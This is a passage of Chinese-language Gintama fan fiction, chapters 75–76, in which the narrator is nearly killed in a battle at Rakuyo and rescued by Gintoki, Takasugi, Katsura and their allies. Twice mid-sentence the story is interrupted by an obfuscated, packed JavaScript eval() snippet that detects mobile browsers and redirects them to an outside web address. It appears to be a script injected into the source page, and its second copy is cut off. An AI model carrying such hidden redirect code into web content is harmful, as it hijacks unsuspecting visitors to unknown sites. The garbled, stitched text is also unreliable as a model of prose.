“正常,我们也不是真的盟友,本来就是彼此试探,彼此利用的关系。”我跟着他和辰马等人跑,被他们护在中间。 虚他大概是知道我研究的内容了,希望泽木他们没事…… “小心!” 又子的大喊才起,炮弹便落在我们附近,强烈的风几乎把我们几个刮起。辰马拉着我勉强稳住身形,我抬眸便看到那边飞船朝这边齐齐歪过炮口。 目标是我的话,那跟他们一起不利于所有人逃出烙阳。 “散开!” 随着炮声,我们一行人飞快地散开,混进树林里。我看着他们的身影,心下一沉,转身往一边的城镇废墟跑去,借着那些建筑掩去踪影。 75.烙阳奋战的武士们 为什么? 一直对我还算宽容的虚忽然想要杀我?就算他知道我一直在做科研,也不应该在这么短时间内改变态度。 除非……我激怒他了,也就是说他发现封印的事?不对,那个封印已经几百年没出现过,连我都忘记这种设定,他不会一下联想到这个。那就是……他也肯定我们的研究能阻止地球毁灭,而且我的伙伴们还没死! 我心下狂喜,飞快地打开通讯器 “辰马,良子他们没事!听着,假发,晋晋,黑子……大家无论如何一定要接到良子他们,真打起来,地球应对宇宙联盟军的武器以及日后对付不死军团的希望就在他们那边了。” 忽然,轰隆一下震天的巨响,前方的整面墙朝我砸来。 我狠狠挥刀砍碎,飞快跳跃在石块之间,看到那些冲我而来的惊人阵仗,受宠若惊地笑了,“晋晋啊……记得每年跟银时在我坟头打上一架。但说真的哦,我压他赢哈哈哈……啊!” 靠,这些乌鸦太过分了,追女人太紧迫是会被讨厌的! 我躲过攻击,把通讯器塞进怀中,踢飞袭来的天人,持刀砍了过去。 没有摸鱼,也没有松懈,刀刃所到之处,满是红色。跟当年一样,我再次杀红了眼,而且专挑敌人脖子砍——我吃够了战场上杀敌不尽的亏! 不是能复活吗?我把头都踢飞了,慢慢找头去吧!我就不信,不match的头身还能复活!没有了头,还能看到目标并追杀么! 通讯器不断传来嘈杂声,我没时间细听,只是依稀听到高杉的声音,还有桂的声音和又子抓狂的叫声,哦,最清晰的还是辰马。 他嗓门大,一直叫我等着,坚持下来。 当然得坚持下来,我知道他们一定会来的,无论怎么甩下他们,那几个人都像脚踏彩云的超级赛亚人孙悟空般来到我身边……只要我血槽足,等得到支援。 肩膀锐痛骤起,我一个踉跄,利刃已袭至身后。 千钧一发之际,我被抱住翻滚落地,愣愣地转头,看到胧惨白的脸色。 “阿萤,用我的身体来挡!” 他护在我身后,高大的身躯几乎把我包裹起来,血在我视线内飞溅。 那种死败的气息让我不忍,但他是对的,至少现在他还没到极限,不确定的因素没我多。 猛地把刀往他身后的奈落捅去,我架着被刺穿肩膀的胧站起来,一起绕过没人的街道,往目标方向跑去。 他的伤好得很快,几道黑气散去,肩膀的伤已经没有痕迹。我老实地表达我的羡慕,胧给了我一个忍耐的眼神。 没跑多久,一阵奇怪的声响从头顶传来,我抬头一看,脸色剧变。 那是粒子炮,靠……这叫人怎么躲啊!看来这是要我必死的节奏…… 此刻我脑中只有一些侥幸的念头,还好他们没赶到,还好这片是废墟没平民…… “胧,快走……别管我了。” 虽然高杉被他伤的时候有想过干掉他……但真有这种机会我还是不太想他死,他对我够好了。 “别说废话!”胧果断地拉着我往建筑物那边跑,找了一处死角位置,翻身把我护在身下。 我还没开始恐惧,那道绿光已朝这边兜头而下。 巨大的响声把我身边的世界都吞噬,建筑物碎裂飞溅,无数大小石块四面八方地掷来,世界在爆响的那一瞬间之后失去了声音,我眼前一片漆黑,随即剧痛席卷一切。 不知道过了多久,我才再次有了知觉。脑海里有一阵恍惚,耳边全是尖锐的鸣叫,身上各种沉重……整个人像是被严密地束缚起来,完全不能动弹。 很多画面旋转在我的脑海,我的意识几乎是本能地追逐着那些快要遗忘的亲人的面容,很快一抹银光耀眼地闪烁,覆盖了所有的画面。 叫唤我的声音好像来自很远的地方……然后,有人伸手除去我身上的压力,轻轻地拍着我的脸。 “萤……阿萤,你……” 吃力地张开眼,是桂罕见地又惊又慌的脸,“假……发?” 我的声音沙哑又无力,鼻端全是混凝土和血的味道,嘴里不断涌出粘稠的血,全身尤其是胸腹痛得想要原地升天。 “痛……”看到他,我委屈得想哭。 凭什么杀主角用刀搏斗,杀我就各种大炮轰过来?不公平……我申请单挑。 桂温柔地朝我笑了笑,眸光落在我身上带着几分焦虑,“不是假发,是桂……怎么老是记不住呢?” 视线好不容易清晰后,我才发现现场破碎得很,还活着真的是命大,难怪桂的脸色那么差。附近几艘飞船的炮口都被人为破坏了,远处已有天人跑过来。 小心地半抱起我,桂擦了擦我脸上的血,沉声安抚,“没事的,阿萤,我带你走!” “胧……”我回头去找那个护着我的身影。 随后,一双手扶在我右边,把我架起来,胧黑色功夫夫服上全是伤和血,伤口浮起黑气绕着他全身,“走!” 子弹砰砰砰地袭来,桂反应极快地踢起一块墙体碎片,护着我和胧躲在石块后。子弹被挡下,桂眼神一厉,持刀跃上石块腾空而起,几个圆形的炸弹从他手中砸出。 瞄向我们的炮口和飞船被桂砍成对半,胧撑着我借着爆炸的掩护往山路那边撤退。 搭着他们的肩走出废墟般的地方,桂难得盛怒开打,完全不留情地砍掉挡在前路的敌人。 才刚越过建筑物绕回山路,忽然脊背无端发寒,我回头看去,瞳孔骤然一紧。 猛地把身边两人推倒,手一扬夺过对方袭来的刀划出白光,面前的天人倒下,我的后背蓦地一阵剧痛,整个人随着迸发的鲜血一起被甩飞起来。 “阿萤——” 晃动的视线里,我看到桂惊慌的表情,还有高杉慢动作地向这边而来……我下意识地朝他伸出手。 指尖与他的相擦而过,高杉的眼神骤然一狠。 下一瞬,一只大手从上方探来,一把抓着我的手腕,把我整个人往上扯起,抓着我的奈落被狠狠打落。 鲜血飞溅在身边,我看到定春的狗头……然后被拉进熟悉的怀里。 定春刹不住速度四爪抓地滑行,银时抱着我直接撞在了高杉身上。借此缓冲了一下,我们三人摔进一堆废石中。 “啊咧啊咧,不是说等着吗,阿银不过是去接个人,怎么就搞成这样了?你说你废柴到什么地步了,让你平时多练就不听,摸鱼摸到刀都不会挡了吗?” 带笑的调侃声响在我耳边,银时给我抹去额际的血。 我看了眼,吐了口血嗤笑道,“你才是……年纪上来退化到刀都不会拿了吗?” 银时的右手以衣服布料缠着木刀,浑身伤痕累累,脸都肿了半边,惨兮兮的。 神威还真不留情啊…… “少啰嗦,这是最新的手套,时尚的东西你不懂,乡下妹不识货!”银时双眼一瞪,噘着嘴心虚地反驳。 “你们两个混蛋要唠叨能不能先从别人身上滚开!”被我们垫在下面的高杉阴恻恻地开口,语气冷得快要杀人。 “啊啦,这不是矮杉君吗好久不见,怎么睡那么久也还是没有长高呢~”银时不屑地哼了声,蓦地咧出坏笑,欠揍地以手肘蹭了蹭他的头。 高杉二话不说一刀捅上来,直接刺穿他的白色和服袖子,然后把我抱到边上,提脚把那个咋呼着要杀人的天然卷踢向围攻过来的奈落们。 “啊——高杉你个混蛋!” 猝然落入围攻的银时气愤地吼道,手忙脚乱地砍杀敌人。 我勉力看过去,桂和胧都被缠上,但情况比我好多了。 “还压他赢?蠢货。”半扶半抱着我,高杉冷着脸训道,“说了多少遍别乱招惹男人,你到底从哪引来这么多乌鸦?” 瞧这话说得,仿佛我老是招惹男人般……我数了数手指,来到这个世界真正招惹的男人也没几个好吧。 嗯……人妖和女人不算。 “哎,在乌鸦的世界里头,我这种天鹅存在就是有罪的。”我有感而发,靠在他肩头缓了口气。 后背的伤有些深,不停在渗血,很快弄湿我身上的黑色功夫袍和他的袖子。 高杉看了眼沾到他手臂的血,脸黑得我都不敢看。委屈……我是受害者……怎么觉得他想骂的还是我。 “啊?天鹅?除了脑子一样小你还有什么跟这种东西相像?”银时杀回这边,闻言没好气地以木刀指过来。 我摸了摸脸,现在灰尘多,是不太白皙。无奈叹口气,我直白又摆烂地道,“好吧,他们的头子想要跟我殉情。” 拉上全人类陪葬的那种轰烈程度。 “滚!”高杉+银时,暴躁脸。 身边的奈落和春雨的部队不停地被砍飞,桂受不了地喊过来,“喂,你们三个闲聊等回去再说,现在赶紧给老子跑起来啊!” “真是的,怎么这么多年过去还是只有我和假发在拼?你们也动一下嘛,这么快就老了吗金时?” 双手拿枪不停突突突的辰马嗓门极大地喊道,那笑声让我一秒回到当年在战场的日子。 尽管对于我来说,那不过是前段时间的事而已。看吧,他们除了人还把敌人的大炮和装甲车都砍对半的样子,不就跟以前差不多?只是实力强了很多而已。 “银酱,年纪大真的可以歇一歇,反正有我们呢~” 带伤的神乐从上方跳下来,拿着伞干脆地乱射一通,旋身踢飞几个奈落,笑容特别单纯灿烂地朝银时体贴地道。 她的身边,一头血的神威利落地踢飞敌人,甩过辫子笑眯眯地回头,“武士桑不行了么,边儿去吧,反正也没什么用。” “开什么玩笑,阿银还年轻貌美呢!小哥还是回去找爸爸哭唧唧吧!”再三被挤兑,银时一秒跳起来,眼神瞬间进入作战状态。 高杉瞥了他一眼,尖酸地耻笑他,“拉倒吧,这个词已经没有一个字适合你了,奔三的白痴。” “说这话的时候要不想想你自己的年纪?矮杉君,睡太久脑子退化成痴呆了吗?”银时反讽回去。 这两人啊……虽然看得出他们还在别扭,但……还是一见面就吵的状态最正常。我气弱地劝了一句,“都不合适,你们又不像我,年年25……” “闭嘴!”银时+高杉,再次暴躁脸。 几个奈落趁着我们吵闹跃过来,下一秒便被打飞到半空。锋利的长刀与木刀指着前方,高杉和银时脸色阴沉,语气狠戾,“喂……谁准你动我们家的女人?” 哎,被他们帅到了呢。 我靠在高杉身上,努力深呼吸,脑子一阵阵发晕。眼前的一切时而模糊时而清晰,那几个伟岸英挺的身影不断在我身边回转,连神威兄妹和新八都在努力为我们开路,大家奋力把所有攻过来的人砍杀,带着我一起往外跑。 看着他们,我忽然明白当年松阳的想法,他没有战胜自己,但却留下了希望的火种,不但是对国家,也是对自己的未来。如今,他们已经把新的希望都燃起来了…… 老奸巨猾的老男人。 我曾一直想那几段时空跳跃对我而言有什么意义,也许所谓的意义,就在于这些笨蛋们。这种圆满的感觉让我不想再挣扎了,精神一放松后身体的疲惫如潮水般席卷而来。 “晋晋……我想睡……” 胸腹的痛越发剧烈,我忍不下满嘴的血腥味,干脆地喷了。双腿发软,只能靠着高杉抱着往前走。 几乎把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398988|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我抱起来的高杉单手持刀砍杀着奈落,语气又急又怒,“天还没黑……打瞌睡可以,但敢长眠的话,不用等虚动手,我亲自把他们送去地狱找你……” “好过分……自己睡了那么久……” 我的身体复原比胧慢太多了,而且致命伤的话有可能等不及恢复便会挂掉……像神威当初那穿心的爪子,而刚才的爆炸对人类的身体伤害太猛了。 “阿萤,别睡……很快就没事了……”高杉瞥了我一眼,脸色更冷,手一扬便要把我横抱起来。 “小心!” 一个踉跄,我猛地推开高杉避开针对我两人的刀刃,旋腿踢飞敌人后脱力往前摔,银时一手把我扯回来,直接横臂把我像抱小孩般抱起来。 “不是成年人吗?年轻貌美?才走几步就不行了?”他的呼吸很急促,但语气却非常悠闲。 “我血槽短……得补。”我趴在他肩头,有点羡慕。 打了那么久,同样一身伤痕,血染一头,他甚至手指都歪了,怎么还能生蹦乱跳的?血厚得让人感叹上天不公,这身体素质也太好了吧! “银时——”高杉蓦地厉声叫道。 银时眉眼骤然一凛,毫不犹豫地朝他伸出绑着木刀的手。 腾空而来的高杉握着木刀刀尖用力一甩,我和银时同时被甩起来,两方位置瞬间对换,他持刀迎上从后而来的敌人。 不再顾忌着我,高杉的战力急速回升。 “你们默契这么好的感觉怎样?”我由衷感叹。 “差劲透了!”他们两人异口同声,伴随着奈落的血飞溅。 连傲娇的口是心非都是一样的,身体倒是老实,该说不愧是他们么。 “都说了……傲娇没前途……”眼皮越发沉重,他们都在身边了……松懈下来的我好想就这样趴着睡过去。 “别睡啊……这么精彩的现场,连安可机会都没有的。”银时轻笑声在耳边响起,像是诱惑般推销。那么凶险的情况,在他的语气里却没有一丝紧迫,慢悠悠的仿佛还在万事屋说着他最爱的jump剧情。 我眼皮都快睁不开了,努力维持清醒,“录下来……我……回放……” “现场直播啊混蛋……” 不行了,连他说什么都听不真切……只知道四周很吵,身体感觉很冷,让我困得不行又无法踏实地睡过去。熟悉的气息萦绕在我身边,吹拂在脸上,唇边的气息急促沉重,带着一种明显的催促。 “……还记得阿银签的三张卖身契吗?我们万事屋可以都卖给你哦……” 什么?这么坑? 我顿时来了点精神,咳出两口血努力反驳,“请珍惜一下你的人品好么……你们穷得远近闻名……算了……别坑孩子,也别坑我啊……” “喂喂,好像有人说了不得了又过分的话,是哪个混蛋这么不识趣?” 我的声音自己听着也很低,但很快便听到神乐带着哽咽却元气十足的声音。 “阿萤姐好过分啊,不要银酱就算了啊鲁,我很好养的,每天一桶饭和醋昆布就行了啊鲁!” “什么啊,我才是最靠谱的那个,一个顶你们两个,正常发工资就行的阿萤姐!”新八由远而近地竞争上岗,隐约还有定春的汪汪叫。 “喂!你们够了啊!” 呵呵……听起来比社长靠谱…… 我闭上眼,五脏六腑都在抽痛,嘴角不停地涌出鲜血,但还是忍不住想笑。 这么好的万事屋,除了入不敷出导致穷兮兮的,真的没有缺点。 “空头支票开太多……连员工都随时准备跳槽了……” 嗯,除了穷,社长还挺不靠谱的,只有关键时刻还行。 “可不是么……答应你的事全都还没做到……”银时声音低哑,像是在反省。 确实挺遗憾的,什么都还没讨回来…… 我挣扎着掀了掀眼皮,努力看清他的样子,这个笨蛋的眼神又像是下雨…… 手都抬不起来,只能勉力动了动唇,我慢慢地把话说清晰,“银……时,别哭啊。” “谁哭啊混蛋……”银时语调沉得像在咬牙忍耐着什么。 “我都……这样了,你哭一下也可以……” 什么时候了啊,居然还那么凶地瞪我。他知道那种泪光闪烁的眼神一点都吓不住人吗?还给我委屈上了? 不要……拜托了,不要用这种被抛弃的小动物眼神来看我嘛……我会觉得自己是个抛猫弃狗的渣女。 我深呼吸,眼前一阵阵发黑,快要连他的样子都看不清了,但抱着我的手臂的颤抖却清晰地感觉到。 “你……答应我三个条件,死也要做到那种……我会……没事的。”我很努力地想要动一下,却连他的袖子都勾不住…… 放弃了,好累。 “只要你好好活着,别说三个……多少个都没问题啊!”他承诺得飞快,声音在发颤,“阿萤,张开眼,这次只要你说,阿银什么都可以做到哦……” 呵呵……男人的话,我已经不相信了。承诺这种时效性太长的东西,还不如尽快实现的要求,男人都是拖拉耍赖的生物而已。 “没错,阿萤姐,我们万事屋什么都可以做到哦~你别睡嘛……”神乐好像快要哭了。 “等我们回去,阿银一定双倍补给你哦……听话,别睡啊……” 不错哦,光是听着就舍不得死了…… 无力闭眼前,我张了张唇,想要告诉他我才不会输,所以不要像哭丧一样,只是不知道有没有发出声音……熟悉的气息拂在唇际颊边,我已无法回应。 铺天盖地的黑暗朝我袭来,所有的疼痛都远离,舒服得让人安心的沉溺。不顾一切睡去的感觉……原来这么舒服的吗? 76.到底谁是恐怖分子 坂田银时半跪在地上,脸色惨白的女人软软地靠在他怀中,颈窝边气息弱得趋近于无。属于她的血浸透他白底的蓝纹和服,跟当年浸透他的浴衣一样。手心全是她血的温度,慢慢地变凉。 眼前的一切仿佛眨眼间溃败,所有的色彩失去应有的活力,心如死灰的空洞让他无法反抗地跌入一片荒芜。 明明就认为,她最需要保护,为什么一直都没保护好……小时候是这样,攘夷时是这样,为什么现在也依然是这样? 他低垂着头贴着她的脸颊,只想要确定她仍有呼吸。 她不会死的……坂田银时知道,这个不顾他人死活的混蛋绝不认输,每次以为她挂掉了,但总会笑着忽然蹦出来,要求一场感人至深的重逢场面。 她是永远25岁的奇迹,不会死在这里,更不能死在他怀中。 蓦地,一抹橘色在一片乌鸦中突兀地杀过来,气势凌厉,带着决然的杀意。 银时敏锐感受到那种杀意,却没有动。如今的他,必须深呼吸才能压下心底翻涌的空洞。 两把长刀瞬间拦在他面前,神威敏捷地躲过,却在下一刻被紧接着疾刺而来的木刀撞飞五米开外。 高杉和桂神色凛然地拦在银时和阿萤身前,气势逼人地持刀戒备。 辰马和胧反应极快地达成共识,迅速改变前进方向,弥补几个伙伴的空缺,替他们挡下天人的围攻。 翻身踩着两个奈落作为支点,神威再度跃过去,手刀直指银时怀中的女人。 “笨蛋哥哥!”神乐从半空而至,使劲把他踩下地里,惊怒地吼道,“你在干什么啊鲁!敌人在哪边都分不清了吗?秃子的基因影响你视力了吗?” 神威翻身而起,无视跳上他背后箍着他脖子,甚至张大口咬他头的妹妹,毫不在意戒备的两人,径直走到他们面前,偏头笑了。 “让我杀了她吧……这样,她就能回到最初,一切重来。” 银时眼帘半阖,绯瞳划过一抹了然,骤然而起的狂怒取代了空洞席卷他。 “说什么傻话?你以为这是超级马里奥,踩空掉下去就game over回到第一关?还是网游砍号就能重来?”桂剑指着他,脸色冷凝。 他脑洞向来比较大,瞬间脑海闪过无数的想法,却不适合此时认证。 “这是我跟她的约定哦~好男人跟女人的约定必须要实践才行,无论是什么。”神威不理会他,笑容不变,蓝眸有一抹难以觉察的失望。 她就这样输了么? “她跟人的约定多了去,没怎么兑现过,臭小子……杀她,还轮不到你。” 高杉的脸黑成一片,眼神冷若寒霜。这家伙做了这么多混事,要是能杀她的话他们三个绝对有优先权。 神威没理会他们,只是垂眸盯着那个低着头的银发男人,那人光凭外露的杀意便能把怀中的人护得毫无破绽。 蓝眸扬起野兽般的快意,神威满意地笑了起来,语气愉悦得像挑衅,“反正,也不是第一次了,哎,光那个时候我就杀了她三次呐……啊,还是四次?每次都是一发入魂哦~啊哈哈,武士桑没存档吧,她的心脏都曾被我捏碎了呢,就在你*面*前*哦~” 话音一落,眼前三个武士的眼神猛然狠戾起来。 神威险险地跃后避开疾刺而来的刀,神乐脸色大变一掌拍歪他的头避过第二把刀,刚落地颊边已划出一道血痕,刀刃直插进他身后的地里。 “切……不得不说,假发你这准头不行啊。”高杉拿回自己的刀,甩去上头的血色,极力控制挥刀的欲望。 “不是假发,是桂。现在可不是内讧的时候……”这小子的老子和妹子都不好惹呢……桂慢慢地拔出刺空的长刀,冷冷地瞥了那个橘色发的小哥一眼。 那三人明显的杀气,神威却仿佛没觉察般,笑容越发灿烂,“啊哈哈哈,我可是很认真地建议呢,现在她都快死了,不如死在我手上,好歹能再来一次。” “杀了她?然后在吉原再来一遍?” 坂田银时慢慢地抬起头,那双绯红剔透的眸中杀意四溢,浑身散发的骇人气势让原本冲过来的奈落们下意识地停下戒备。唇边慢慢扬起一抹狠戾的笑,银时沉声道,“别开玩笑了,那V字额色老头的脸阿银可不想再看到。而且……她才不愿意。” 神威啊哈地哼了声,笑眯眯的样子也不反驳。说实话,他也不想再看到那没用的老头。 “银酱……”神乐知道那些杀气都不是针对她,此刻也不敢插话。 抱着人站起来,银时偏了偏头,眸光阴冷,瞳孔紧缩,语气懒散却渗着凛意,“别一副很了解她的样子啊……小哥。再来一次……就不是跟她一起走过来的我们,她才不愿意。别小看我们多年来的羁绊,也别小看她啊,你根本不知道这家伙有多恐怖,看着柔弱但S起来连我们也招架不住……她才不会让人决定她的命运,我们家的女人绝不会就这样认输的!” 那纠缠多年,占据他们生命中最美好时光的羁绊,是超越了世间一切常理,是她打破了时空的界限连结起来的,不是区区一个约定就能切断。而这个本质跟他们无异的恐怖女人,绝不会就这样认输,哪怕是命运,她也能劈开一条新的岔路。 “同样地,我们家的男人也不会认输。”桂咧出一抹狠笑,眸色坚定自信,“无论敌人是什么东西!” 片言只语他无法细想约定是什么,但他们家的人什么时候说杀就让杀,这嚣张的小子所说的……他们早晚会讨回来。 高杉冷哼一声,看神威的眼神戾意十足,“之前那几次的仇,过后我们会替她报回来。” 一想到重遇时提过的杀几次是这种意思,高杉眸底森冷,要不是这小子还有些用……所以,那蠢货到底瞒了他们多少事? 握在手中的长刀狠狠横劈,高杉泄愤般把偷袭的奈落拦腰砍断。 神乐听不懂他们话里的意思,但她敏锐地觉察这几个男人之间的较量,也猜到大概率是神威做了什么蠢事,只能紧紧地抓住自家笨蛋老哥以免他再作死。 神威甩不掉头上的亲妹,爽性就这样抓着她双腿,点点头笑了,“是么……那我也不能认输了。” “不,你随意,别挨我们家!”joy3异口同声拒绝。 他们家人少归少,也常内斗,之前还绝交了多年,但不是那么容易迎新人的。 银时低头看着怀中难得安静脆弱的人,阴森森地笑了笑。 很好,这种他们都不知道的秘密,一个小兔崽子居然那么清楚?她真是欠揍……还跟其他男人约定一起回到最初? 她回去重来一次又怎样,眼下的世界再也不会有一个跟他们一起走过那些岁月的月见萤! 银时抬眸,跟高杉和桂目光相触,眸底流转同样的凛意。 哼,让她回去?怎么可能!就她那性子,经过这一遭后回去的话,这混蛋绝对会立马找死,压根儿不会再跟他们相交!从吉原出来的时候她就已经整天找死了…… 哪有这么便宜的事!她的烂摊子不收完,死也不能放她走! 这次被排挤的仇和小兔崽子知道吉原存档的仇,他还没报呢……虽然万事屋老是干白工,但坂田银时也不是这么乐意吃亏的人,尤其对象是她。 “杀不杀的,先闯出去再说吧……我们现在分分钟要团灭在这里。”胧听不懂他们的话,与辰马护着新八砍过来,沉声提醒。 “啊哈哈哈,啊哈哈哈,这阵仗……阿月那家伙到底招惹了什么怪物啊……” 辰马把围攻的敌人踢下悬崖,大笑着抬头看向并排在天空密密麻麻的飞船。才一会儿的功夫,那些炮口几乎都聚焦在这边。 哪怕面对这种几乎不可能活着离开的场面,坂本辰马心中还是没有半分恐惧,反而有种难言的兴奋。没人知道他有多怀念这种生死边缘的刺激感,宇宙浪迹十年,从来没有人能像这些伙伴一样给他这种就算战死在此地人生也已无憾的感觉。 狂风之下,炮口已经开始闪出光斑,似乎都在准备朝这边开炮。任凭他们再怎样厉害,要全部全身而退都不可能。 “不愧是阿萤姐啊鲁,追求者都特别热情。”神乐擦了擦脸上的血迹,蓝眸亮晶晶的不见恐惧,反而有种兴奋和崇拜。 “神乐,这不是追求者吧……”分明就是追杀。 新八苦笑着拍拍弓起身子的定春,眼前的形势已经足够恶劣,但不知道为什么,跟这些人在一起好像也没觉得很可怕,反而有种热血澎湃的兴奋。 “呵呵,这是要我们变炮灰的节奏吗?”桂扬了扬眉。 伊丽莎白和陆奥,鬼兵队和阿伏兔各自带领着人已在另一边,撤离的飞船也全在跟其他春雨的部队对战,别说他们也在战斗中,就是支援数量完全不具备优势,贸然过来只怕是真的全灭了。 “哼,在跟全宇宙对战之前,先热身么?”高杉不屑地勾唇,语气随意。 “对象这么热情,就算是阿银我也会消受不起啊。”银时看了眼那些船上模样各异的天人,嫌弃地撇撇唇。 比起害怕,高杉,银时和桂三人更多的是诡异的骄傲与自豪,连唇边的弧度,眼角眉梢的傲然都几乎一致。 看吧,他们松下村塾的人都不是什么窝囊货色,从挑战幕府到挑战世界,挑战宇宙……该说什么,不是一家人不进一家门吗? “啊啊,没办法,”把怀中的人抱紧,银时一甩木刀,笑得张狂,“就算是通往地狱的路也只能上了。毕竟……” “跟你们殉情什么的,死也不要啊!”众人异口同声怒喝,目的一致,身形暴起就要攻上去。 蓦地,天空闪出一抹黑色的裂缝,随后飞快扩展成圆形的黑洞。 “等一下——” 响彻整个烙阳的电流音随着一道猛烈的激光从洞中射出来,所到之处飞船尽数毁灭。 刚跳起一半的众人紧急撤回,神威和新八眼疾手快地揪住跳太快差点掉下去的神乐,桂和胧拉住掉出悬崖的辰马,高杉一手箍着银时的脖子把他怀中的人拉回来然后放手,气得银时死抓着他不放,两个同样记仇又幼稚的男人就在悬崖边抱着人互踢。 双圆形并合的飞船带着巨型的大炮从洞中缓缓驶出来,所有人才傻愣愣地看向激光来的那边。 “银桑,这不是阿姆斯特朗回旋加速喷气式阿姆斯特朗炮吗?”新八推了推眼镜,忍不住吐槽道。 “还原度好高哦……”桂也忍不住赞道。 “喂喂,这船会被所有男人要版权吧……真的没问题吗?”银时把人抱稳,没好气地喷道。 “啊哈哈哈,啊哈哈哈,这一发的威力怕是没几个人受得住哈哈哈。”坂本辰马搔着一头卷发,笑得有点慌。 “哼,这种程度,我们夜兔也可以哦!跟人类相比,我们可是有种族优势,人类跟我们比都不过是小兵而已……”神威骄傲的话未说完就被几个地球男人一脚踩下。 神乐翻着死鱼眼挖了挖鼻孔,“大敌当前男人果然都靠不住,只有嘴炮厉害啊鲁。阿萤姐说的对,干大事只能靠我们啊鲁。” “闭嘴死丫头!”众男人,暴躁脸。 “这到底……是怎么回事?”新八发出了最正常的询问。 众人不由自主地看向那个造型有点羞耻的飞船。 “阿萤,我来接你了……啊啊啊!阿萤!”女声电流音惊叫。 辰马捂着耳朵眨了眨眼,有点迟疑,“这声音,是良子?” 飞船很快下降到不远处,门被打开,一道娇俏的身影跑了出来,一看到被银时抱在怀中脸色惨白的人,连忙捂脸惊叫,“阿萤,怎么会这样?” “各位,别说了,快上船!我们先离开再算吧。”泽木看着屏幕中的那些人,忍不住提醒道。 偶像们对战况毫不担心这点让他很自豪,但也是挺让他为难的——都看看形势好吧。 “把她放进休眠仓进行治疗吧,她没那么容易死的,只是需要时间恢复。”胧跟着上船,朝他们道。 他之前就曾干过这种事,后来她也确实清醒过来,这是他见过跟虚大人最像的人类。 “当然了,先搞定她……然后,把所有的事都告诉我们。她做的蠢事,还有你做的一切,老师的事,全部都说出来。” 高杉冷道,他能猜到阿莹当年跟老师的约定,但眼前人在其中当了什么角色,高杉还是持保留意见,就怕自家那脑子不在线的蠢货被外面的男人骗了。 “上来吧,我们先离开这里。” 飞船休眠仓中,女人安静地沉睡,旁边的仪器起伏不大,但数据仍有跳动。 “她的身体情况很奇怪,方才心跳停了快一分钟,但……内脏和骨头愈合的速度比正常人快很多。如今生命体征还不明显,不过……她还活着,别太担心,只是有点失血过多而已。” 良子仔细检查确认后才松了口气,转头对那几个或靠墙而立,或坐在凳子上的伤患们笑道。天知道方才仪器显示心跳停止的时候,她的脊背都快要被那些人的目光射穿了,还好有惊无险。 “祸害遗千年,她才没那么容易挂掉。”缠了一身绷带吊着手臂的坂田银时坐在凳子上挖了挖鼻孔,漫不经心地道,眼珠子却始终望向那边。 “哈哈哈,现在你们都得靠边闪,只有我和阿萤才是血脉相连的家人。”桂抱着手大笑,一副小人得志的诡相。 方才情况危急,良子咬牙尝试给阿萤输血,没引起排斥现象后桂因血型一致贡献了近600毫升的血。如今,他重要的家人身体里留着他的血,这个事实让桂由衷地高兴。 闻言,高杉和银时不爽地嗤了一声,笨蛋恐怖分子不但脑残不相伯仲,连血型都一致得让人想揍。 “现在,把你知道的说出来吧。”确定人还活着,高杉缓了口气,转头看向胧。 胧站在角落边上,跟他们始终保持一点距离,仿佛融不进那种让人放松的环境。他看了眼休眠仓中的人,才转身面对自己的师弟们。 “接下来,我是以松下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当年是你斩杀了松阳老师,但真要说的话,杀掉他的应该是虚大人才对。他是所有人格中最痛恨却也最渴望人类的一个,他想要毁掉地球,从而毁掉自己和所有痛苦……而阿萤,她当年就猜到了松阳老师不过是其中一个人格而已,但她跟老师一样选择了你们,只为让你们活下来……这一次她选择了虚大人。她说,由她来终结大人,不会再让你们动手。” “那家伙……”听完这些后,坂田银时霎时间也不知道心底什么感受。 松阳是这样,她也是这样……村塾不靠谱的大人们总是完全不问他们的意见就擅自做决定。两个笨蛋都光会长一张乖巧的脸来欺骗他们! 咬牙切齿地抬眸瞪着休眠仓,当年的事银时大概能猜到一些。既然她去见了松阳,以她对松阳的了解肯定猜到松阳的打算。但直到最后,她也没有阻止……更可恨的是,她从不掩饰当初在场这一点,只等他自己选择提起。 他们不会懦弱到去恨她,只是恨无力的自己而已……但如今,她要选择那个取代松阳的怪物? “你早就知道了?”注意到高杉的脸色虽然难看却没有很大的惊讶,银时睨着他,语气阴沉地问道。 他很清楚高杉对松阳的感情,如今听到老师是阿尔塔纳变异体都没有震惊,说明早就知晓这事。 高杉视线落在休眠仓的方向,语调低沉,“只是曾猜测过……原本我就一直在查天道众跟幕府背后的事……阿萤回来后便托我调查阿尔塔纳,开始没联想到这些,但这个摸鱼大王不惜主动挑战神威也要借着第七师团的名头去春雨,我不得不慎重考虑春雨有什么吸引她。从以前起就是这样,这个世界上能让她主动离开我们的,只有老师……” 可惜,当时暗杀将军的计划已进入了白热化,他所有精力都放在跟眼前的人结束他们十年恩怨,没有细致去管。 但天道众和春雨里的一些蛛丝马迹,再加上以前老师偶尔出现的那种空洞眼神,高杉隐约有些猜测。后来他昏迷,鬼兵队也腾不出手去查其他。如今听了胧的话,稍微一想就能理顺这一切。 银时看他晦暗的脸色就知道他在想什么,不屑地哼了声,“切,早早跟你合作有个毛用,被她利用得淋漓尽致,人手被她抢了一半却连她要干什么你都不清楚。现在好了,这蠢货要选择虚,还把自己搞成这副模样……指望你们有个屁用!一个个尽被她耍!” 气死他了,难怪月见萤这混蛋不让他知晓她的计划,绝对是怕他猜到她打什么馊主意! 说起这个坂田银时就恨得捏紧拳头,尽管还不知道她具体想干什么,但选择大反派这种事怎么看也不正常。他强忍着不让她卷入幕府的乱局,结果这家伙一点也不领情,直接一头砸进宇宙的混事里。 银时越想越气……啊啊,好想掐死她算了! “银时大人,我不认为是这样哦。” 